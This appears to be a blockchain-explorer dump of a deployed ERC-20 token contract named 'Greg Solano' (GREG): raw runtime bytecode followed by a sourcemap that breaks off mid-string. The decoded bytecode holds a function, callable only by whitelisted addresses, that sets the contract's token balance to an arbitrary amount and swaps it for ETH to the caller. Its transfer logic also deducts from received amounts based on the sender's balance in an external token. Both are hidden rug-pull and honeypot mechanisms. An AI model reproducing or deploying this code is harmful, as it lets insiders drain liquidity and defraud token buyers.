565b610acb565b604051610304919061180a565b60405180910390f35b348015610318575f80fd5b50610333600480360381019061032e9190611922565b610ae1565b005b348015610340575f80fd5b50610349610db7565b604051610356919061180a565b60405180910390f35b34801561036a575f80fd5b506103856004803603810190610380919061194d565b610dc9565b6040516103929190611832565b60405180910390f35b3480156103a6575f80fd5b506103af610e4b565b005b3480156103bc575f80fd5b506103d760048036038101906103d291906118f7565b610f0f565b005b60606040518060400160405280600b81526020017f4772656720536f6c616e6f000000000000000000000000000000000000000000815250905090565b5f610422338484611005565b6001905092915050565b5f600454905090565b5f6104418484846111c8565b6104d684336104d18560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114fe90919063ffffffff16565b611005565b600190509392505050565b6104e9611524565b73ffffffffffffffffffffffffffffffffffffffff16610507610a67565b73ffffffffffffffffffffffffffffffffffffffff161461055d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610554906119d5565b60405180910390fd5b60035f9054906101000a900460ff16156105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a390611a3d565b60405180910390fd5b6105da3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454611005565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610644573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106689190611a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107129190611a6f565b6040518363ffffffff1660e01b815260040161072f929190611a9a565b6020604051808303815f875af115801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f9190611a6f565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107f63061099a565b5f80610800610a67565b426040518863ffffffff1660e01b815260040161082296959493929190611b03565b60606040518083038185885af115801561083e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108639190611b76565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610903929190611bc6565b6020604051808303815f875af115801561091f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109439190611c17565b50600160035f6101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109e8611524565b73ffffffffffffffffffffffffffffffffffffffff16610a06610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906119d5565b60405180910390fd5b610a655f61152b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4752454700000000000000000000000000000000000000000000000000000000815250905090565b5f610ad73384846111c8565b6001905092915050565b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b33575f80fd5b610b5f3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611005565b8060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610bbd57610bbc611c42565b5b604051908082528060200260200182016040528015610beb5781602001602082028036833780820191505090505b50905030815f81518110610c0257610c01611c6f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cca9190611a6f565b81600181518110610cde57610cdd611c6f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8433601e42610d669190611cc9565b6040518663ffffffff1660e01b8152600401610d86959493929190611db3565b5f604051808303815f87803b158015610d9d575f80fd5b505af1158015610daf573d5f803e3d5ffd5b505050505050565b600b5f9054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e53611524565b73ffffffffffffffffffffffffffffffffffffffff16610e71610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebe906119d5565b60405180910390fd5b5f600b5f6101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b610f17611524565b73ffffffffffffffffffffffffffffffffffffffff16610f35610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f82906119d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090611e7b565b60405180910390fd5b6110028161152b565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90611f09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890611f97565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111bb9190611832565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611200575f80fd5b5f821161120b575f80fd5b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161126691906118de565b602060405180830381865afa158015611281573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a59190611fb5565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611330575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561135e5761135b606461134d83866115ec90919063ffffffff16565b61162c90919063ffffffff16565b91505b6113ae8360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114fe90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611451826114438560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461165190919063ffffffff16565b6114fe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ef9190611832565b60405180910390a35050505050565b5f8282111561150b575f80fd5b5f82846115189190611fe0565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036115fc575f9050611626565b5f82846116099190612013565b90508284826116189190612081565b14611621575f80fd5b809150505b92915050565b5f808211611638575f80fd5b5f82846116459190612081565b90508091505092915050565b5f80828461165f9190611cc9565b90508381101561166d575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116ae578082015181840152602081019050611693565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116d382611677565b6116dd8185611681565b93506116ed818560208601611691565b6116f6816116b9565b840191505092915050565b5f6020820190508181035f83015261171981846116c9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174e82611725565b9050919050565b61175e81611744565b8114611768575f80fd5b50565b5f8135905061177981611755565b92915050565b5f819050919050565b6117918161177f565b811461179b575f80fd5b50565b5f813590506117ac81611788565b92915050565b5f80604083850312156117c8576117c7611721565b5b5f6117d58582860161176b565b92505060206117e68582860161179e565b9150509250929050565b5f8115159050919050565b611804816117f0565b82525050565b5f60208201905061181d5f8301846117fb565b92915050565b61182c8161177f565b82525050565b5f6020820190506118455f830184611823565b92915050565b5f805f6060848603121561186257611861611721565b5b5f61186f8682870161176b565b93505060206118808682870161176b565b92505060406118918682870161179e565b9150509250925092565b5f60ff82169050919050565b6118b08161189b565b82525050565b5f6020820190506118c95f8301846118a7565b92915050565b6118d881611744565b82525050565b5f6020820190506118f15f8301846118cf565b92915050565b5f6020828403121561190c5761190b611721565b5b5f6119198482850161176b565b91505092915050565b5f6020828403121561193757611936611721565b5b5f6119448482850161179e565b91505092915050565b5f806040838503121561196357611962611721565b5b5f6119708582860161176b565b92505060206119818582860161176b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119bf602083611681565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f611a27601683611681565b9150611a32826119f3565b602082019050919050565b5f6020820190508181035f830152611a5481611a1b565b9050919050565b5f81519050611a6981611755565b92915050565b5f60208284031215611a8457611a83611721565b5b5f611a9184828501611a5b565b91505092915050565b5f604082019050611aad5f8301856118cf565b611aba60208301846118cf565b9392505050565b5f819050919050565b5f819050919050565b5f611aed611ae8611ae384611ac1565b611aca565b61177f565b9050919050565b611afd81611ad3565b82525050565b5f60c082019050611b165f8301896118cf565b611b236020830188611823565b611b306040830187611af4565b611b3d6060830186611af4565b611b4a60808301856118cf565b611b5760a0830184611823565b979650505050505050565b5f81519050611b7081611788565b92915050565b5f805f60608486031215611b8d57611b8c611721565b5b5f611b9a86828701611b62565b9350506020611bab86828701611b62565b9250506040611bbc86828701611b62565b9150509250925092565b5f604082019050611bd95f8301856118cf565b611be66020830184611823565b9392505050565b611bf6816117f0565b8114611c00575f80fd5b50565b5f81519050611c1181611bed565b92915050565b5f60208284031215611c2c57611c2b611721565b5b5f611c3984828501611c03565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611cd38261177f565b9150611cde8361177f565b9250828201905080821115611cf657611cf5611c9c565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d2e81611744565b82525050565b5f611d3f8383611d25565b60208301905092915050565b5f602082019050919050565b5f611d6182611cfc565b611d6b8185611d06565b9350611d7683611d16565b805f5b83811015611da6578151611d8d8882611d34565b9750611d9883611d4b565b925050600181019050611d79565b5085935050505092915050565b5f60a082019050611dc65f830188611823565b611dd36020830187611af4565b8181036040830152611de58186611d57565b9050611df460608301856118cf565b611e016080830184611823565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611e65602683611681565b9150611e7082611e0b565b604082019050919050565b5f6020820190508181035f830152611e9281611e59565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ef3602483611681565b9150611efe82611e99565b604082019050919050565b5f6020820190508181035f830152611f2081611ee7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f81602283611681565b9150611f8c82611f27565b604082019050919050565b5f6020820190508181035f830152611fae81611f75565b9050919050565b5f60208284031215611fca57611fc9611721565b5b5f611fd784828501611b62565b91505092915050565b5f611fea8261177f565b9150611ff58361177f565b925082820390508181111561200d5761200c611c9c565b5b92915050565b5f61201d8261177f565b91506120288361177f565b92508282026120368161177f565b9150828204841483151761204d5761204c611c9c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61208b8261177f565b91506120968361177f565b9250826120a6576120a5612054565b5b82820490509291505056fea264697066735822122024c3415add0e76b8700cbdd4788c17903baef98287b3f0c4248539c048daec6364736f6c63430008180033
Deployed Bytecode Sourcemap
4820:4667:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6296:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8860:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6197:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8596:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8031:557;;;:::i;:::-;;7291:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5365:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6640:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1427:103;;;;;;;;;;;;;:::i;:::-;;1611:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6387;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7524:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9018:466;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5956:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7382:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6480:152;;;;;;;;;;;;;:::i;:::-;;1853:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6296:83;6333:13;6366:5;;;;;;;;;;;;;;;;;6359:12;;6296:83;:::o;8860:150::-;8926:4;8943:37;8952:10;8964:7;8973:6;8943:8;:37::i;:::-;8998:4;8991:11;;8860:150;;;;:::o;6197:91::-;6241:7;6268:12;;6261:19;;6197:91;:::o;8596:256::-;8685:4;8702:36;8712:6;8720:9;8731:6;8702:9;:36::i;:::-;8749:73;8758:6;8766:10;8778:43;8814:6;8778:11;:19;8790:6;8778:19;;;;;;;;;;;;;;;:31;8798:10;8778:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;8749:8;:73::i;:::-;8840:4;8833:11;;8596:256;;;;;:::o;8031:557::-;2198:12;:10;:12::i;:::-;2187:23;;:7;:5;:7::i;:::-;:23;;;2179:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8104:11:::1;;;;;;;;;;;8103:12;8095:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;8153:63;8170:4;8185:15;;;;;;;;;;;8203:12;;8153:8;:63::i;:::-;8261:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8243:55;;;8307:4;8314:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8243:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8227:13;;:110;;;;;;;;;;;;;;;;;;8348:15;;;;;;;;;;;:31;;;8387:9;8406:4;8412:24;8430:4;8412:9;:24::i;:::-;8438:1;8441::::0;8444:7:::1;:5;:7::i;:::-;8453:15;8348:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8487:13;;;;;;;;;;;8480:29;;;8518:15;;;;;;;;;;;8536:14;8480:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8576:4;8562:11;;:18;;;;;;;;;;;;;;;;;;8031:557::o:0;7291:83::-;7332:5;7357:9;;;;;;;;;;;7350:16;;7291:83;:::o;5365:28::-;;;;;;;;;;;;;:::o;6640:110::-;6697:7;6724:9;:18;6734:7;6724:18;;;;;;;;;;;;;;;;6717:25;;6640:110;;;:::o;1427:103::-;2198:12;:10;:12::i;:::-;2187:23;;:7;:5;:7::i;:::-;:23;;;2179:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1492:30:::1;1519:1;1492:18;:30::i;:::-;1427:103::o:0;1611:87::-;1657:7;1684:6;;;;;;;;;;;1677:13;;1611:87;:::o;6387:::-;6426:13;6459:7;;;;;;;;;;;;;;;;;6452:14;;6387:87;:::o;7524:156::-;7593:4;7610:40;7620:10;7632:9;7643:6;7610:9;:40::i;:::-;7668:4;7661:11;;7524:156;;;;:::o;9018:466::-;9082:17;:29;9100:10;9082:29;;;;;;;;;;;;;;;;;;;;;;;;;9074:38;;;;;;9123:57;9140:4;9155:15;;;;;;;;;;;9173:6;9123:8;:57::i;:::-;9218:6;9191:9;:24;9209:4;9191:24;;;;;;;;;;;;;;;:33;;;;9235:21;9273:1;9259:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9235:40;;9304:4;9286;9291:1;9286:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;9330:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9320:4;9325:1;9320:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;9363:15;;;;;;;;;;;:66;;;9430:6;9437:1;9439:4;9444:10;9473:2;9455:15;:20;;;;:::i;:::-;9363:113;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9063:421;9018:466;:::o;5956:39::-;;;;;;;;;;;;;:::o;7382:134::-;7454:7;7481:11;:18;7493:5;7481:18;;;;;;;;;;;;;;;:27;7500:7;7481:27;;;;;;;;;;;;;;;;7474:34;;7382:134;;;;:::o;6480:152::-;2198:12;:10;:12::i;:::-;2187:23;;:7;:5;:7::i;:::-;:23;;;2179:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6565:5:::1;6542:20;;:28;;;;;;;;;;;;;;;;;;6608:15;6586:38;;;;;;;;;;6480:152::o:0;1853:201::-;2198:12;:10;:12::i;:::-;2187:23;;:7;:5;:7::i;:::-;:23;;;2179:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1962:1:::1;1942:22;;:8;:22;;::::0;1934:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2018:28;2037:8;2018:18;:28::i;:::-;1853:201:::0;:::o;7688:335::-;7798:1;7781:19;;:5;:19;;;7773:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7879:1;7860:21;;:7;:21;;;7852:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7961:6;7931:11;:18;7943:5;7931:18;;;;;;;;;;;;;;;:27;7950:7;7931:27;;;;;;;;;;;;;;;:36;;;;7999:7;7983:32;;7992:5;7983:32;;;8008:6;7983:32;;;;;;:::i;:::-;;;;;;;;7688:335;;;:::o;6758:525::-;6838:12;6889:1;6873:18;;:4;:18;;;6865:27;;;;;;6920:1;6911:6;:10;6903:19;;;;;;6933:15;6958:16;;;;;;;;;;;6951:34;;;6986:4;6951:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6933:58;;7022:4;7006:21;;:4;:21;;;;:46;;;;;7039:13;;;;;;;;;;;7031:21;;:4;:21;;;;7006:46;7002:114;;;7076:28;7100:3;7076:19;7087:7;7076:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;7069:35;;7002:114;7144:27;7164:6;7144:9;:15;7154:4;7144:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7126:9;:15;7136:4;7126:15;;;;;;;;;;;;;;;:45;;;;7198:35;7228:4;7198:25;7216:6;7198:9;:13;7208:2;7198:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;7182:9;:13;7192:2;7182:13;;;;;;;;;;;;;;;:51;;;;7264:2;7249:26;;7258:4;7249:26;;;7268:6;7249:26;;;;;;:::i;:::-;;;;;;;;6827:456;;6758:525;;;:::o;3409:148::-;3467:7;3500:1;3495;:6;;3487:15;;;;;;3513:9;3529:1;3525;:5;;;;:::i;:::-;3513:17;;3548:1;3541:8;;;3409:148;;;;:::o;159:98::-;212:7;239:10;232:17;;159:98;:::o;2427:191::-;2501:16;2520:6;;;;;;;;;;;2501:25;;2546:8;2537:6;;:17;;;;;;;;;;;;;;;;;;2601:8;2570:40;;2591:8;2570:40;;;;;;;;;;;;2490:128;2427:191;:::o;3874:185::-;3932:7;3961:1;3956;:6;3952:23;;3972:1;3965:8;;;;3952:23;3985:9;4001:1;3997;:5;;;;:::i;:::-;3985:17;;4030:1;4025;4021;:5;;;;:::i;:::-;:10;4013:19;;;;;;4050:1;4043:8;;;3874:185;;;;;:::o;3719:147::-;3777:7;3809:1;3805;:5;3797:14;;;;;;3822:9;3838:1;3834;:5;;;;:::i;:::-;3822:17;;3857:1;3850:8;;;3719:147;;;;:::o;3563:148::-;3621:7;3641:9;3657:1;3653;:5;;;;:::i;:::-;3641:17;;3682:1;3677;:6;;3669:15;;;;;;3702:1;3695:8;;;3563:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:182::-;6495:34;6491:1;6483:6;6479:14;6472:58;6355:182;:::o;6543:366::-;6685:3;6706:67;6770:2;6765:3;6706:67;:::i;:::-;6699:74;;6782:93;6871:3;6782:93;:::i;:::-;6900:2;6895:3;6891:12;6884:19;;6543:366;;;:::o;6915:419::-;7081:4;7119:2;7108:9;7104:18;7096:26;;7168:9;7162:4;7158:20;7154:1;7143:9;7139:17;7132:47;7196:131;7322:4;7196:131;:::i;:::-;7188:139;;6915:419;;;:::o;7340:172::-;7480:24;7476:1;7468:6;7464:14;7457:48;7340:172;:::o;7518:366::-;7660:3;7681:67;7745:2;7740:3;7681:67;:::i;:::-;7674:74;;7757:93;7846:3;7757:93;:::i;:::-;7875:2;7870:3;7866:12;7859:19;;7518:366;;;:::o;7890:419::